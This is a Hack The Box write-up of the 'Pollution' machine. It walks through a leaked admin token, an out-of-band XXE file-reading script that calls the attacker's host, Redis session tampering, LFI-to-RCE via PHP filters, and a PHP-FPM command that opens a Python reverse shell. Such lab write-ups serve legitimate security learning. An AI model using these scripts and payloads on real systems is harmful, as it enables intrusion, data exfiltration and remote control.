> For the complete documentation index, see [llms.txt](https://jackx8x7x.gitbook.io/security-stuff/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://jackx8x7x.gitbook.io/security-stuff/hackthebox/linux/pollution.md).

# Pollution

## Overview

A *hard* Linux machine created by [Tr1s0n](https://app.hackthebox.com/users/575442) features techniques including:

* Web Enumeration
* XML External Entity
* Redis Session Handler
* PHP LFI to RCE
* PHP-FPM

{% embed url="<https://app.hackthebox.com/machines/Pollution>" %}

## Reconnaissance

### Services Discovery

We found ports `22` and `80` open on the target.

```bash
$ sudo nmap -n -Pn -oN ports.txt -v -p- -sS -T4 --min-rate 1000 10.129.228.126
...
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
...
```

### URL Path Discovery

We can find the following URL paths without authentication:

* `/login`
* `/register`

We registered a new account via `/register` and we can find more paths including:

* `/home`
* `/logout`

### vHosts

On the home page, we see the email address `info@collect.htb`, and hence we shall add the domain to the file `/etc/hosts`.

<figure><img src="/files/U8atrUMfkAW9fwKlcVKZ" alt=""><figcaption></figcaption></figure>

We can then use the tool `ffuf` to try to fuzz the vHosts and we shall see the virtual hosts `forum` and `developers` exist.

```bash
ffuf -u http://10.129.228.126 -H 'Host: FUZZ.collect.htb' -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -fs 26197

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.4.1-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.129.228.126
 :: Wordlist         : FUZZ: /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.collect.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 26197
________________________________________________

forum                   [Status: 200, Size: 14098, Words: 910, Lines: 337, Duration: 436ms]
developers              [Status: 401, Size: 469, Words: 42, Lines: 15, Duration: 6ms]
:: Progress: [4997/4997] :: Job [1/1] :: 620 req/sec :: Duration: [0:00:10] :: Errors: 0 ::
```

The host `developers.colloect.htb` requires us to be authenticated through [HTTP authentication](https://developer.mozilla.org/en-US/docs/Web/HTTP/Authentication).

```bash
$ curl http://developers.collect.htb
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>401 Unauthorized</title>
</head><body>
<h1>Unauthorized</h1>
<p>This server could not verify that you
are authorized to access the document
requested.  Either you supplied the wrong
credentials (e.g., bad password), or your
browser doesn't understand how to supply
the credentials required.</p>
<hr>
<address>Apache/2.4.54 (Debian) Server at developers.collect.htb Port 80</address>
</body></html>
```

### Forum

The virtual host `forum.collect.htb` hosts a forum powered by MyBB.

<figure><img src="/files/QZW5jwiIUSA6TxgVynpB" alt=""><figcaption><p>The forum</p></figcaption></figure>

In a thread, we found an attachment that can be downloaded via a valid account.

<figure><img src="/files/fKXcG1TQJDG1nIvx0iW8" alt=""><figcaption><p>The attachment can be downloaded via a valid forum account</p></figcaption></figure>

The content of the attachment is generated by the BurpSuite with base64 encoded request/response payload.

<figure><img src="/files/8NAxmHOscYead8ODRjxR" alt=""><figcaption></figcaption></figure>

### Admin Role

We see a relevant URL `collect.htb/set/role/admin` in the file.

```bash
$ grep '\.htb' forum/burp.xml 
    <url><![CDATA[http://collect.htb/set/role/admin]]></url>
...
```

By decoding the payload, we see the admin token may be used to set our account to be of the admin role.

```bash
$ echo 'UE9TVCAvc2V0L3JvbGUvYWRtaW4gSFRUUC8xLjENCkhvc3Q6IGNvbGxlY3QuaHRiDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoV2luZG93cyBOVCAxMC4wOyBXaW42NDsgeDY0OyBydjoxMDQuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC8xMDQuMA0KQWNjZXB0OiB0ZXh0L2h0bWwsYXBwbGljYXRpb24veGh0bWwreG1sLGFwcGxpY2F0aW9uL3htbDtxPTAuOSxpbWFnZS9hdmlmLGltYWdlL3dlYnAsKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IHB0LUJSLHB0O3E9MC44LGVuLVVTO3E9MC41LGVuO3E9MC4zDQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNCkNvbm5lY3Rpb246IGNsb3NlDQpDb29raWU6IFBIUFNFU1NJRD1yOHFuZTIwaGlnMWszbGk2cHJnazkxdDMzag0KVXBncmFkZS1JbnNlY3VyZS1SZXF1ZXN0czogMQ0KQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQNCkNvbnRlbnQtTGVuZ3RoOiAzOA0KDQp0b2tlbj1kZGFjNjJhMjgyNTQ1NjEwMDEyNzc3MjdjYjM5N2JhZg==' | base64 -d
POST /set/role/admin HTTP/1.1
Host: collect.htb
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=r8qne20hig1k3li6prgk91t33j
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 38

token=ddac62a28254561001277727cb397baf
```

We successfully updated our `collect.htb` account to the admin role using that token and we see that we are redirected to `/admin`.

<figure><img src="/files/NHhZ5xdv4Y5J0Wn94FM7" alt=""><figcaption></figcaption></figure>

We can access the administration panel now.

<figure><img src="/files/qXskBXAyY73FXNyaYyBR" alt=""><figcaption></figcaption></figure>

### Internal API

There's a form on the admin page which will post data in the XML format.

<figure><img src="/files/iVD3Zesz5oUW3wzITltk" alt=""><figcaption><p>The form will send data in the XML format</p></figcaption></figure>

It looks like the form data is passed to an internal API.

<figure><img src="/files/R3HObwZU2lrnGH7GyExJ" alt=""><figcaption></figcaption></figure>

## Initial Access

### XXE

We try to test if the endpoint `/api` above has the XXE vulnerability.

{% embed url="<https://portswigger.net/web-security/xxe>" %}

{% embed url="<https://portswigger.net/web-security/xxe/xml-entities>" %}

From the error message, we see that the endpoint may have the XXE vulnerability.

<figure><img src="/files/F4fpm0bQhzupyNHnvkHa" alt=""><figcaption></figcaption></figure>

### Out-of-band XXE

We can exfiltrate data by serving an external malicious DTD file as the following explanation.

{% embed url="<https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-exfiltrate-data-out-of-band>" %}

To demonstrate the out-of-band XXE, we set up an Express app which will

* serve the varying DTD files and
* decode the base64 encoded out-of-band information,

```javascript
const express = require('express')
const app = express()
const port = 8000

app.use(express.static('public'))

app.get('/', (req, res) => {
    try {
        console.log(Buffer.from(req.query.leak.replace(/ /g, '+'), 'base64').toString())
    } catch(e) {
    }
    res.send('ok');
})

app.listen(port, () => {
  console.log(`Example app listening on port ${port}`)
})
```

Then we can use the following Python script to read files on the target interactively.

```python
#!/usr/bin/env python3

import cmd
import requests

class Lfi(cmd.Cmd):
    def __init__(self):
        super().__init__()

    def emptyline(self):
        pass

    def default(self, path):
        content = f'''<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource={path}">
<!ENTITY % payload "<!ENTITY &#37; run SYSTEM 'http://10.10.14.10:8000/?leak=%file;'>">
%payload;
%run;'''
        with open('./http/public/oob.dtd', 'w') as dtd:
            dtd.write(content)
        proxies = {
            'http': 'http://localhost:8080'
        }
        cookies = {
            'PHPSESSID': '2slrifhvc8652e7t8tg1116liq'
        }
        data = {
            'manage_api': '''<!DOCTYPE root [<!ENTITY % xpl
SYSTEM "http://10.10.14.10:8000/oob.dtd">%xpl;]><root><method>POST</method>
<uri>/auth/register</uri> <user><username>test</username><password>test</password>
</user></root>'''
        }
        requests.post('http://collect.htb/api', proxies=proxies, cookies=cookies, data=data)

l = Lfi()
l.cmdloop()
```

We see that we can read the local files now.

<figure><img src="/files/JpDOojfuBozJ0uEJfAtn" alt=""><figcaption><p>Read file using Out-of-band XXE</p></figcaption></figure>

Given that, there's a virtual host `developers.collect.htb`, here we need to  guess the config file's name for it.

<figure><img src="/files/kOyemDdTL23cFJ9HDtfr" alt=""><figcaption><p>The config file for site developers.collect.htb</p></figcaption></figure>

We see the usage of the `.htpasswd` file in the config and we shall try to crack the password to access the site.

<figure><img src="/files/A9jGC32QPUYeA7Jd7gVA" alt=""><figcaption></figcaption></figure>

### htpasswd Crack

We can try to crack the htpasswd hash using `hashcat` with mode 1600.

```bash
$ hashcat -m 1600 <htaccess_hashes> <wordlist
$apr1$MzKA5yXY$DwEz.jxW9USWo8.goD7jY1:r0cket     
                                                 
Session..........: hashcat
Status...........: Cracked
Hash.Name........: Apache $apr1$ MD5, md5apr1, MD5 (APR)
Hash.Target......: $apr1$MzKA5yXY$DwEz.jxW9USWo8.goD7jY1
Time.Started.....: Sun Sep  3 15:31:17 2023 (13 secs)
Time.Estimated...: Sun Sep  3 15:31:30 2023 (0 secs)
Guess.Base.......: File (/usr/share/SecLists/Passwords/Leaked-Databases/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:    16400 H/s (7.21ms) @ Accel:64 Loops:500 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 214272/14344384 (1.49%)
Rejected.........: 0/214272 (0.00%)
Restore.Point....: 214016/14344384 (1.49%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:500-1000
Candidates.#1....: rayburn -> public1
```

We successfully got the credential `developers_group:r0cket`.

### Developers

After we get access to the site `developers.collect.htb`, we use the file-reading ability to inspect the source code of the site.

We see that we need to be authenticated to access the page `index.php`.

{% code title="/var/www/developers/index.php" %}

```php
<?php                                                                                                                                                
require './bootstrap.php';                                                                                                                           
                                                                                                                                                     
                                                                                                                                                     
if (!isset($_SESSION['auth']) or $_SESSION['auth'] != True) {                                                                                        
    die(header('Location: /login.php'));                                                                                                             
}                                                                                                                                                    
                                                                                                                                                     
if (!isset($_GET['page']) or empty($_GET['page'])) {                                                                                                 
    die(header('Location: /?page=home'));                                                                                                            
}                                                                                                                                                    
                                                                                                                                                     
$view = 1;                                                                                                                                           
                                                                                                                                                     
?>                                                                                                                                                   
                                                                                                                                                     
<!DOCTYPE html>                                                                                                                                      
<html lang="en">                                                                                                                                     
                                                                                                                                                     
<head>                                                                                                                                               
    <meta charset="UTF-8">                                                                                                                           
    <meta http-equiv="X-UA-Compatible" content="IE=edge">                                                                                            
    <meta name="viewport" content="width=device-width, initial-scale=1.0">                                                                           
    <script src="assets/js/tailwind.js"></script>                                                                                                    
    <title>Developers Collect</title> 
</head>                              

<body>
...
```

{% endcode %}

We found there's an LFI vulnerability we can exploit if we can get authenticated.

```php
...
    <div class="flex flex-col h-screen justify-between">
        <?php include("header.php"); ?>
                                     
        <main class="mb-auto mx-24">
            <?php include($_GET['page'] . ".php"); ?>
        </main>                      

        <?php include("footer.php"); ?>
    </div>                           

</body>                              

</html>
```

By inspecting the file `bootstrap.php`, we see that the site uses Redis to manage sessions, refer to [session.save\_hander](https://www.php.net/manual/en/session.configuration.php#ini.session.save-handler).

<figure><img src="/files/AtTegpCQlMEsS7d4RovT" alt=""><figcaption></figcaption></figure>

### Redis Session Handler

We can authenticate to the Redis server using `nc` with password `COLLECTR3D1SPASS` found above.

```bash
$ nc -v collect.htb 6379
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Connected to 10.129.228.126:6379.
AUTH COLLECTR3D1SPASS
+OK
```

We can manipulate our session data to be authenticated via the above Redis connection.

```bash
$nc -v collect.htb 6379                                              
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Connected to 10.129.228.126:6379.
AUTH COLLECTR3D1SPASS
+OK
keys *
*2
$43
PHPREDIS_SESSION:2slrifhvc8652e7t8tg1116liq
$43
PHPREDIS_SESSION:3i95sto32sf9k15nqlll86emon
set "PHPREDIS_SESSION:3i95sto32sf9k15nqlll86emon" "auth|b:1;"
+OK
```

We can access the page and abuse the LFI now.

<figure><img src="/files/NiHNB1imWj3cKDiQVYyi" alt=""><figcaption></figcaption></figure>

### LFI to RCE

With full control of the PHP include path, we may try to upgrade the LFI ability to RCE via PHP filters.

{% embed url="<https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html>" %}

{% embed url="<https://book.hacktricks.xyz/pentesting-web/file-inclusion/lfi2rce-via-php-filters>" %}

As in the above article, we can get the RCE using a chain of PHP filters.

<figure><img src="/files/aEwi9Y8Ezz9k6dzXXARz" alt=""><figcaption></figcaption></figure>

## Lateral Movement

### PHP-FPM

We first found the port `9000`, which may be used by `PHP-FPM`, is opened on the localhost.

<figure><img src="/files/3e1N82mFN8Y0p0szx0H1" alt=""><figcaption></figcaption></figure>

We can check if this port is used by `php-fpm` using `ps` and check the user running it is `victor` by checking the config `www.conf` under `/etc/php/8.1/fpm/pool.d`, refer to [the documentation](https://www.php.net/manual/en/install.fpm.configuration.php).

<figure><img src="/files/bVUdA79GydfGbl4ZW85x" alt=""><figcaption></figcaption></figure>

> List of pool directives
>
> With FPM you can run several pools of processes with different setting. These are settings that can be tweaked per pool.
>
> ... SNIP
>
> user string
>
> ```
> Unix user of FPM processes. This option is mandatory.
> ```

### FastCGI Protocol

We can talk to the `PHP-FPM` using [the FastCGI Procotol](http://www.mit.edu/~yandros/doc/specs/fcgi-spec.html).

By uploading the Python script [`fpm.py`](https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75), we can run commands under the user `victor` now.

<figure><img src="/files/JK8fpdex6yJz7g61JC0M" alt=""><figcaption></figcaption></figure>

We can use Python to get our reverse shell now.

{% code overflow="wrap" %}

```bash
(Cmd) python3 /tmp/fpm.py localhost /var/www/developers/index.php -c "<?php system(\"python3 -c 'import socket,pty,os;s=socket.socket();s.connect((\\\"10.10.14.6\\\",4444));[os.dup2(s.fileno(),i) for i in range(3)];pty.spawn(\\\"/bin/bash\\\");'\");?>"
```

{% endcode %}

## Privilege Escalation

We found an Express app source code under the user `victor`'s home directory and the app seems to be running under the user `root`.

<figure><img src="/files/LZwYPlrYPcXQgasN2Nkc" alt=""><figcaption></figcaption></figure>

The story goes on...

## Reference

{% embed url="<https://portswigger.net/web-security/all-labs#xml-external-entity-xxe-injection>" %}
XXE Labs
{% endembed %}

{% embed url="<https://www.digitalocean.com/community/tutorials/how-to-set-up-a-redis-server-as-a-session-handler-for-php-on-ubuntu-14-04>" %}
